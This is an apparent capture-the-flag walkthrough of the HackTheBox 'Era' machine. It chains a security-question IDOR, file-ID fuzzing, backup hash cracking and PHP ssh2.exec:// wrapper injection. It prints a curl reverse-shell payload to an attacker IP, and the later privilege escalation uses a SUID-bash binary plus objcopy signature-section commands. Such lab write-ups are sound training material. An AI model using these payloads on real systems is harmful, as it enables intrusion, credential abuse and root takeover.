Era
Summary
Era is a web-focused HackTheBox Linux machine with a neat privilege escalation twist on a custom “AV” monitoring binary. The attack chain starts on a web application that uses security questions for authentication and exposes a file-download functionality. We first discover a security question vulnerability that allows changing answers for any user. We then focus on the file download functionality and discover that fuzzing the numeric id parameter reveals valid file IDs, including a site backup. Downloading this backup exposes a SQLite database containing user information, from which we extract the admin username (admin_ef01cab31aa). While examining the backup source code, we discover a PHP stream wrapper injection vulnerability in the file preview feature, though it requires admin access to exploit. We then exploit the security question vulnerability to reset the admin’s security question answers, allowing us to change their password via the password reset flow. With admin access, we abuse the ssh2.exec:// wrapper to pivot into SSH and obtain code execution as the yuri user. The passwords we cracked from the SQLite database are used later to pivot to the eric user. On the host, we observe a root-owned periodic script using objcopy on an AV monitoring binary. By crafting a modified monitor binary that preserves the expected signature section while running chmod +s /bin/bash, we escalate to root via a SUID bash shell.
Initial Recon and Application Overview
The main website presents a typical web portal
While exploring, we notice a file.era.htb subdomain related to file management:
The site heavily relies on security questions as a secondary authentication factor:
Users can also register new accounts:
Security Question Logic and Weak Account-Level Controls
While testing the security question functionality, we discover a critical flaw: the endpoint that updates security answers allows us to specify any username, not just the currently authenticated one.
This means:
- We can overwrite security question answers for arbitrary users
- Later, we can use the “forgot password / security question” flow to recover or reset their password
This vulnerability will be crucial later when we need to gain admin access.
File Upload and Download Functionality
The file area provides an upload feature and a “download by id” feature.
We notice a pattern:
- There is a
download.php?id=NUMBERendpoint - When requesting a non-existent
id, the message differs from that of an existing file
This suggests that the application distinguishes between valid and invalid file IDs based on a database lookup. We can exploit this to enumerate valid IDs.
Enumerating File IDs (IDOR-Style Fuzzing)
We fuzz the id parameter with ffuf to find valid file identifiers:
ffuf reports valid IDs – in this case, 54 and 150 stand out as interesting.
By manually requesting these IDs, we can see that one of them corresponds to a site backup.
Downloading the Backup and Extracting Admin Username
Downloading and inspecting the backup, we find a SQLite database with user data, including password hashes:
From the database, we extract the admin username: admin_ef01cab31aa. We also crack some password hashes using a wordlist (e.g., rockyou.txt), successfully recovering passwords for two users:
Note: These cracked passwords will be used later to pivot to other users (such as
eric), but they are not needed for admin access.
Code Review: Discovering PHP Wrapper Vulnerability
While examining the backup files, we review the source code and locate download.php implementing the file-download and preview logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
require_once('functions.global.php');
require_once('layout.php');
function deliverMiddle_download($title, $subtitle, $content) {
return '
<main style="
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 80vh;
text-align: center;
padding: 2rem;
">
<h1>' . htmlspecialchars($title) . '</h1>
<p>' . htmlspecialchars($subtitle) . '</p>
<div>' . $content . '</div>
</main>
';
}
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download(
"Your Download Is Ready!",
$fileName,
'<a href="download.php?id=' . $_GET['id'] . '&dl=true"><i class="fa fa-download fa-5x"></i></a>'
);
}
}
?>
Key observations:
- For
show=trueand admin sessions ($_SESSION['erauser'] === 1), the code supports aformatparameter - If
formatcontains://, the code treats it as a wrapper prefix and prepends it to the file path:fopen($wrapper . $file, 'r')
- There is no validation of which wrapper is being used
Critical Discovery: This code allows arbitrary PHP stream wrapper injection, which can lead to remote code execution. However, this functionality is only available to admin users (
$_SESSION['erauser'] === 1). We need to gain admin access first before we can exploit this vulnerability.
This means we can use any PHP stream wrapper supported by the server, including potentially dangerous ones like ssh2.exec://, but only after we obtain admin privileges.
Gaining Admin Access via Security Question Exploitation
Now that we have the admin username (admin_ef01cab31aa) and have discovered the PHP wrapper vulnerability in the source code, we need to gain admin access to exploit it. We exploit the security question vulnerability we discovered earlier:
- Reset the admin’s security question answers using the vulnerable endpoint (we can set answers for any user)
- Use the password reset flow with the security questions we just set
- Change the admin’s password to a known value
- Log in as admin
Success: We now have admin access to the application! We can now exploit the PHP wrapper vulnerability we discovered in the source code.
Achieving RCE via PHP ssh2.exec:// Wrapper
Now that we have admin access, we can exploit the PHP wrapper vulnerability we discovered in the backup source code.
PHP’s SSH2 extension supports wrappers such as ssh2.exec://user:pass@host:port/command. If the extension is installed and enabled, fopen() on such a wrapper establishes an SSH connection and executes the specified command.
Since the code builds:
$full_path = $wrapper . $filewhenformatcontains://
We can set:
id=54(a valid file ID from our fuzzing)show=trueformat=ssh2.exec://yuri:mustang@127.0.0.1:22/<command>
And send a request with our admin session cookie:
1
2
curl 'http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.4%2F9999%200%3E%261%22;' \
-b 'PHPSESSID=1mpf454innv6pbds9mrdna4pi7'
This payload:
- Uses
ssh2.exec://wrapper - Authenticates as
yuri:mustangto127.0.0.1:22 - Executes a bash reverse shell back to our attacker machine on port
9999
On our listener, we receive a shell as the SSH user (e.g., yuri), from where we can pivot further.
Lateral Move to eric
From the foothold, we use one of the previously cracked passwords from the SQLite database to su to eric:
Note: This is where the passwords we cracked earlier from the SQLite database come into play - we use them to pivot to the
ericuser.
At this point, we have shell access as eric on the box.
Privilege Escalation: Abusing the AV Monitoring Binary
We run a process monitor such as pspy to observe what root is doing periodically:
We see root executing:
initiate_monitoring.shobjcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
This indicates:
- There is a custom AV/monitoring binary at
/opt/AV/periodic-checks/monitor - Root periodically runs
objcopyon it, specifically on the.text_sigsection - There is likely an integrity-check mechanism using this section
The idea is to replace the monitor binary with our own payload, but preserve or re-inject the expected .text_sig section so that the integrity check passes.
Crafting a Malicious monitor Binary
We can write a simple C program whose only job is to set the SUID bit on /bin/bash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Program to run chmod +s /bin/bash
#include <stdio.h>
#include <stdlib.h>
int main() {
// Execute the command to set the SUID bit on /bin/bash
int result = system("chmod +s /bin/bash");
// Check if the command was successful
if (result == 0) {
printf("Successfully set SUID bit on /bin/bash\n");
} else {
printf("Failed to set SUID bit on /bin/bash\n");
}
return 0;
}
Compile it on the box:
1
gcc monitor.c -o shell
Alternatively, we can generate a small ELF payload using msfvenom:
1
msfvenom -p linux/x64/exec CMD='chmod +s /bin/bash' -f elf -o shell
Bypassing the Signature Check with objcopy
The root script uses objcopy to dump the .text_sig section from the original monitor binary. We can:
- Dump the
.text_sigsection from the original binary - Add that section to our malicious payload
- Update the real
monitorbinary with our modified version
Commands:
1
2
3
4
5
6
7
8
9
10
11
# 1. Dump the .text_sig section from the original monitor
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
# 2. Add this section to our malicious shell binary (output: mon)
objcopy --add-section .text_sig=text_sig_section.bin shell mon
# 3. Update the original monitor binary with our modified one
objcopy --update-section .text_sig=text_sig_section.bin mon monitor
# 4. Replace the original monitor with our modified version
cp monitor /opt/AV/periodic-checks/monitor
Full command sequence as used on the box:
1
2
3
4
eric@era:/tmp$ objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
eric@era:/tmp$ objcopy --add-section .text_sig=text_sig_section.bin shell mon
eric@era:/tmp$ objcopy --update-section .text_sig=text_sig_section.bin mon monitor
eric@era:/tmp$ cp monitor /opt/AV/periodic-checks/monitor
We then wait for the periodic root job to run. Once it does, our malicious monitor binary will be executed, and /bin/bash will have its SUID bit set.
We confirm:
1
2
eric@era:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Now we can spawn a root shell directly:
1
2
3
4
5
eric@era:/tmp$ /bin/bash -p
bash-5.1# cd
bash-5.1# ls
user.txt
bash-5.1#
We have full root access and the root flag.
Conclusion
Attack Chain Recap
- Discovered a security question vulnerability allowing password reset for any user
- Discovered a file download endpoint on
file.era.htbwith numeric IDs - Fuzzed the
idparameter to find valid file IDs - Downloaded a site backup containing a SQLite database with user information
- Extracted the admin username (
admin_ef01cab31aa) from the database - Discovered a PHP stream wrapper injection vulnerability in the backup source code (requires admin access)
- Exploited the security question vulnerability to reset admin’s security questions and change their password
- Logged in as admin and exploited the PHP wrapper vulnerability we discovered earlier
- Abused the
ssh2.exec://wrapper to execute a reverse shell via SSH (yuri:mustang@127.0.0.1) - Used previously cracked passwords from the SQLite database to pivot to user
eric - Observed root running
objcopyon/opt/AV/periodic-checks/monitor - Crafted a malicious
monitorbinary that sets SUID on/bin/bash, preserving the.text_sigsection - Replaced the original
monitor, waited for the root job, and then used SUID bash to gain root
Lessons Learned
- IDOR and Fuzzing: Simple numeric identifiers can expose sensitive files (backups, databases) when not properly access-controlled.
- Backup Safety: Application backups stored on the same host, accessible by the web layer, are high-value targets and must be protected.
- Password Storage: Weak or guessable passwords will fall quickly once hashes are leaked.
- PHP Wrappers: Allowing arbitrary wrappers (
formatparameter) without validation is extremely dangerous and often leads to RCE. - Monitoring / AV Binaries: Security or monitoring tools running as root must be designed securely; integrity checks based purely on sections like
.text_sigcan be bypassed by reusing the expected section in a malicious binary. - SUID Binaries: Setting SUID on
/bin/bashremains a classic but very effective privilege escalation vector when achievable.
Era is an excellent example of how a chain of small weaknesses—ID-based file access, insecure backup storage, weak passwords, unsafe PHP wrappers, and fragile binary integrity checks—can be combined into a full compromise from unauthenticated web access to root shell.














